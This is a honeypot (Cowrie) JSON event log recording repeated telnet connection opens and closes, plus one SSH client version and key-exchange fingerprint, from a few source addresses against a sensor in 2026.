{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":43696,"dst_ip":"159.203.135.109","dst_port":23,"session":"c2d9d9e66c62","protocol":"telnet","message":"New connection: 174.142.104.49:43696 (159.203.135.109:23) [session: c2d9d9e66c62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:07.021711Z"}
{"eventid":"cowrie.session.closed","duration":0.005448579788208008,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:07.027026Z","src_ip":"174.142.104.49","session":"c2d9d9e66c62","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":26.357048749923706,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:07.326758Z","src_ip":"174.142.104.49","session":"386089906656","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":32818,"dst_ip":"10.17.0.5","dst_port":23,"session":"533ff49b02de","protocol":"telnet","message":"New connection: 193.22.147.168:32818 (10.17.0.5:23) [session: 533ff49b02de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:07.357020Z"}
{"eventid":"cowrie.session.closed","duration":120.00114226341248,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:07.434593Z","src_ip":"174.142.104.49","session":"51cc94a23340","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":41418,"dst_ip":"159.203.135.109","dst_port":23,"session":"750fe756f6a8","protocol":"telnet","message":"New connection: 174.142.104.49:41418 (159.203.135.109:23) [session: 750fe756f6a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:07.776507Z"}
{"eventid":"cowrie.session.closed","duration":31.262807846069336,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:07.912412Z","src_ip":"174.142.104.49","session":"2d65a55638b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":36110,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3b351cad3ce","protocol":"telnet","message":"New connection: 174.142.104.49:36110 (159.203.135.109:23) [session: d3b351cad3ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:08.361488Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":40914,"dst_ip":"159.203.135.109","dst_port":23,"session":"6bdbbfbddb45","protocol":"telnet","message":"New connection: 174.142.104.49:40914 (159.203.135.109:23) [session: 6bdbbfbddb45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:08.448419Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":32824,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1a4861adfb7","protocol":"telnet","message":"New connection: 193.22.147.168:32824 (10.17.0.5:23) [session: e1a4861adfb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:08.464834Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":42538,"dst_ip":"159.203.135.109","dst_port":23,"session":"8cf28bd51854","protocol":"telnet","message":"New connection: 174.142.104.49:42538 (159.203.135.109:23) [session: 8cf28bd51854]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:08.520078Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":43306,"dst_ip":"159.203.135.109","dst_port":23,"session":"e80a475593a1","protocol":"telnet","message":"New connection: 174.142.104.49:43306 (159.203.135.109:23) [session: e80a475593a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:08.974231Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":41965,"dst_ip":"159.203.135.109","dst_port":23,"session":"55e36157e8fa","protocol":"telnet","message":"New connection: 174.142.104.49:41965 (159.203.135.109:23) [session: 55e36157e8fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:09.136345Z"}
{"eventid":"cowrie.session.closed","duration":30.710341453552246,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:09.206427Z","src_ip":"193.22.147.168","session":"daf88758b1e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":37020,"dst_ip":"159.203.135.109","dst_port":23,"session":"3edfa671365b","protocol":"telnet","message":"New connection: 161.132.53.68:37020 (159.203.135.109:23) [session: 3edfa671365b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:09.219285Z"}
{"eventid":"cowrie.session.closed","duration":30.82366394996643,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:09.265388Z","src_ip":"174.142.104.49","session":"8be8f0d3a419","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":32836,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2436916ba46","protocol":"telnet","message":"New connection: 193.22.147.168:32836 (10.17.0.5:23) [session: a2436916ba46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:09.300415Z"}
{"eventid":"cowrie.session.closed","duration":30.66904354095459,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:09.526387Z","src_ip":"174.142.104.49","session":"38924b2d2f04","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0018630027771,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:09.778321Z","src_ip":"174.142.104.49","session":"27ad90740097","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":37034,"dst_ip":"159.203.135.109","dst_port":23,"session":"ccc639096fb8","protocol":"telnet","message":"New connection: 161.132.53.68:37034 (159.203.135.109:23) [session: ccc639096fb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:10.188588Z"}
{"eventid":"cowrie.session.closed","duration":30.203961849212646,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:10.220531Z","src_ip":"174.142.104.49","session":"d5f656974d41","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":43812,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e2069af0c3f","protocol":"telnet","message":"New connection: 174.142.104.49:43812 (159.203.135.109:23) [session: 3e2069af0c3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:10.295310Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":45598,"dst_ip":"159.203.135.109","dst_port":23,"session":"2661fd7a6f2d","protocol":"telnet","message":"New connection: 174.142.104.49:45598 (159.203.135.109:23) [session: 2661fd7a6f2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:10.417400Z"}
{"eventid":"cowrie.session.closed","duration":32.51272177696228,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:10.805239Z","src_ip":"193.22.147.168","session":"5f38dd3efa18","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":46452,"dst_ip":"159.203.135.109","dst_port":23,"session":"488e6d1a98e6","protocol":"telnet","message":"New connection: 174.142.104.49:46452 (159.203.135.109:23) [session: 488e6d1a98e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:10.994956Z"}
{"eventid":"cowrie.session.closed","duration":30.98721408843994,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:11.128629Z","src_ip":"161.132.53.68","session":"5e5303c19ca3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":50178,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4b623914336","protocol":"telnet","message":"New connection: 174.142.104.49:50178 (159.203.135.109:23) [session: a4b623914336]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:11.211328Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":32968,"dst_ip":"10.17.0.5","dst_port":23,"session":"55f1eb729f4f","protocol":"telnet","message":"New connection: 193.22.147.168:32968 (10.17.0.5:23) [session: 55f1eb729f4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:11.318489Z"}
{"eventid":"cowrie.session.closed","duration":30.27799916267395,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:11.420363Z","src_ip":"174.142.104.49","session":"9ae9f537e692","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":42410,"dst_ip":"159.203.135.109","dst_port":23,"session":"c3d3d88b56fe","protocol":"telnet","message":"New connection: 174.142.104.49:42410 (159.203.135.109:23) [session: c3d3d88b56fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:11.450084Z"}
{"eventid":"cowrie.session.closed","duration":31.746778964996338,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:11.542482Z","src_ip":"161.132.53.68","session":"75391a1cc656","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":47400,"dst_ip":"159.203.135.109","dst_port":23,"session":"d7638d94f16b","protocol":"telnet","message":"New connection: 174.142.104.49:47400 (159.203.135.109:23) [session: d7638d94f16b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:11.594404Z"}
{"eventid":"cowrie.session.closed","duration":32.468838930130005,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:11.611912Z","src_ip":"193.22.147.168","session":"7226d9c68757","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":88.35700345039368,"message":"Connection lost after 88 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:11.632012Z","src_ip":"174.142.104.49","session":"d337d1378df0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.14355778694153,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:11.700635Z","src_ip":"161.132.53.68","session":"0f71e975e7b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":46346,"dst_ip":"159.203.135.109","dst_port":23,"session":"5671de16e01d","protocol":"telnet","message":"New connection: 174.142.104.49:46346 (159.203.135.109:23) [session: 5671de16e01d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:11.927909Z"}
{"eventid":"cowrie.session.closed","duration":31.33108377456665,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:11.965760Z","src_ip":"193.22.147.168","session":"65959985f542","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.44651508331299,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:12.089572Z","src_ip":"174.142.104.49","session":"e147b340a9f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":43518,"dst_ip":"159.203.135.109","dst_port":23,"session":"8657fc5e7bc9","protocol":"telnet","message":"New connection: 174.142.104.49:43518 (159.203.135.109:23) [session: 8657fc5e7bc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:12.105314Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":43853,"dst_ip":"159.203.135.109","dst_port":23,"session":"006ed6139438","protocol":"telnet","message":"New connection: 174.142.104.49:43853 (159.203.135.109:23) [session: 006ed6139438]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:12.326123Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":44064,"dst_ip":"159.203.135.109","dst_port":23,"session":"b60fe4b80ead","protocol":"telnet","message":"New connection: 174.142.104.49:44064 (159.203.135.109:23) [session: b60fe4b80ead]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:12.421364Z"}
{"eventid":"cowrie.session.closed","duration":32.29510688781738,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:12.452690Z","src_ip":"193.22.147.168","session":"c94fdfe77b32","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.1985604763031,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:12.503327Z","src_ip":"174.142.104.49","session":"83c22eadac73","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":48986,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ba3e44a6b4d","protocol":"telnet","message":"New connection: 174.142.104.49:48986 (159.203.135.109:23) [session: 4ba3e44a6b4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:12.645561Z"}
{"eventid":"cowrie.session.closed","duration":31.019272089004517,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:12.771049Z","src_ip":"174.142.104.49","session":"5f853f494d5a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00159406661987,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:12.848669Z","src_ip":"174.142.104.49","session":"7b8981b54fec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.32496666908264,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:12.979161Z","src_ip":"174.142.104.49","session":"a4d61c3c9479","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.960026025772095,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:13.001301Z","src_ip":"174.142.104.49","session":"c27893272f57","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":50300,"dst_ip":"159.203.135.109","dst_port":23,"session":"53e1cdc492a3","protocol":"telnet","message":"New connection: 174.142.104.49:50300 (159.203.135.109:23) [session: 53e1cdc492a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:13.456046Z"}
{"eventid":"cowrie.session.closed","duration":32.08146357536316,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:13.536437Z","src_ip":"193.22.147.168","session":"09906a058f79","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.428082942962646,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:13.605532Z","src_ip":"174.142.104.49","session":"34766bcdf7d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":49486,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae27e7d2a43e","protocol":"telnet","message":"New connection: 174.142.104.49:49486 (159.203.135.109:23) [session: ae27e7d2a43e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:13.960878Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":47148,"dst_ip":"159.203.135.109","dst_port":23,"session":"15a24e5d8769","protocol":"telnet","message":"New connection: 174.142.104.49:47148 (159.203.135.109:23) [session: 15a24e5d8769]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:14.411399Z"}
{"eventid":"cowrie.session.closed","duration":30.734249114990234,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:14.640088Z","src_ip":"174.142.104.49","session":"7ed352165b20","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.443150997161865,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:14.645222Z","src_ip":"174.142.104.49","session":"bb63cbcead72","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":47556,"dst_ip":"159.203.135.109","dst_port":23,"session":"a227c20d392b","protocol":"telnet","message":"New connection: 174.142.104.49:47556 (159.203.135.109:23) [session: a227c20d392b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:14.709526Z"}
{"eventid":"cowrie.session.closed","duration":31.21496844291687,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:14.842007Z","src_ip":"174.142.104.49","session":"0f2f39611b97","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.736461400985718,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:14.846354Z","src_ip":"174.142.104.49","session":"73817160162c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.09284996986389,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:15.028577Z","src_ip":"174.142.104.49","session":"af8c725df4b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.209691286087036,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:15.106542Z","src_ip":"174.142.104.49","session":"524a453e67c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00114250183105,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:15.122265Z","src_ip":"174.142.104.49","session":"833bc7e9915e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.28099012374878,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:15.389028Z","src_ip":"174.142.104.49","session":"8e9699d81d92","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":51978,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f596c62d804","protocol":"telnet","message":"New connection: 174.142.104.49:51978 (159.203.135.109:23) [session: 5f596c62d804]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:15.439266Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":42348,"dst_ip":"159.203.135.109","dst_port":23,"session":"a280dd54d24b","protocol":"telnet","message":"New connection: 174.142.104.49:42348 (159.203.135.109:23) [session: a280dd54d24b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:15.561523Z"}
{"eventid":"cowrie.session.closed","duration":31.914344787597656,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:15.676102Z","src_ip":"161.132.53.68","session":"d53bf393e875","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.929965496063232,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:15.831944Z","src_ip":"193.22.147.168","session":"be299e955d4b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":54544,"dst_ip":"159.203.135.109","dst_port":23,"session":"09bb976e6558","protocol":"telnet","message":"New connection: 174.142.104.49:54544 (159.203.135.109:23) [session: 09bb976e6558]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:15.973908Z"}
{"eventid":"cowrie.session.closed","duration":32.05522918701172,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:16.072873Z","src_ip":"174.142.104.49","session":"7ba2def8e080","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.79503560066223,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:16.569269Z","src_ip":"174.142.104.49","session":"f22b48a1e7ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":49026,"dst_ip":"159.203.135.109","dst_port":23,"session":"e0e20ea409cf","protocol":"telnet","message":"New connection: 174.142.104.49:49026 (159.203.135.109:23) [session: e0e20ea409cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:16.713642Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":55946,"dst_ip":"159.203.135.109","dst_port":23,"session":"1835cd13a493","protocol":"telnet","message":"New connection: 174.142.104.49:55946 (159.203.135.109:23) [session: 1835cd13a493]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:16.815999Z"}
{"eventid":"cowrie.session.closed","duration":31.58680558204651,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:16.905594Z","src_ip":"174.142.104.49","session":"03c63c9e4c38","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.539130687713623,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:16.941875Z","src_ip":"174.142.104.49","session":"7cd52b57ec6a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"96.78.175.36","src_port":51782,"dst_ip":"10.17.0.5","dst_port":22,"session":"b75c8cf847d5","protocol":"ssh","message":"New connection: 96.78.175.36:51782 (10.17.0.5:22) [session: b75c8cf847d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:17.134260Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:17.142810Z","src_ip":"96.78.175.36","session":"b75c8cf847d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.826824188232422,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:17.161571Z","src_ip":"174.142.104.49","session":"8abc85bafce1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":32970,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff3a1d7d8a56","protocol":"telnet","message":"New connection: 193.22.147.168:32970 (10.17.0.5:23) [session: ff3a1d7d8a56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:17.175102Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:48:17.232774Z","src_ip":"96.78.175.36","session":"b75c8cf847d5","protocol":"ssh"}
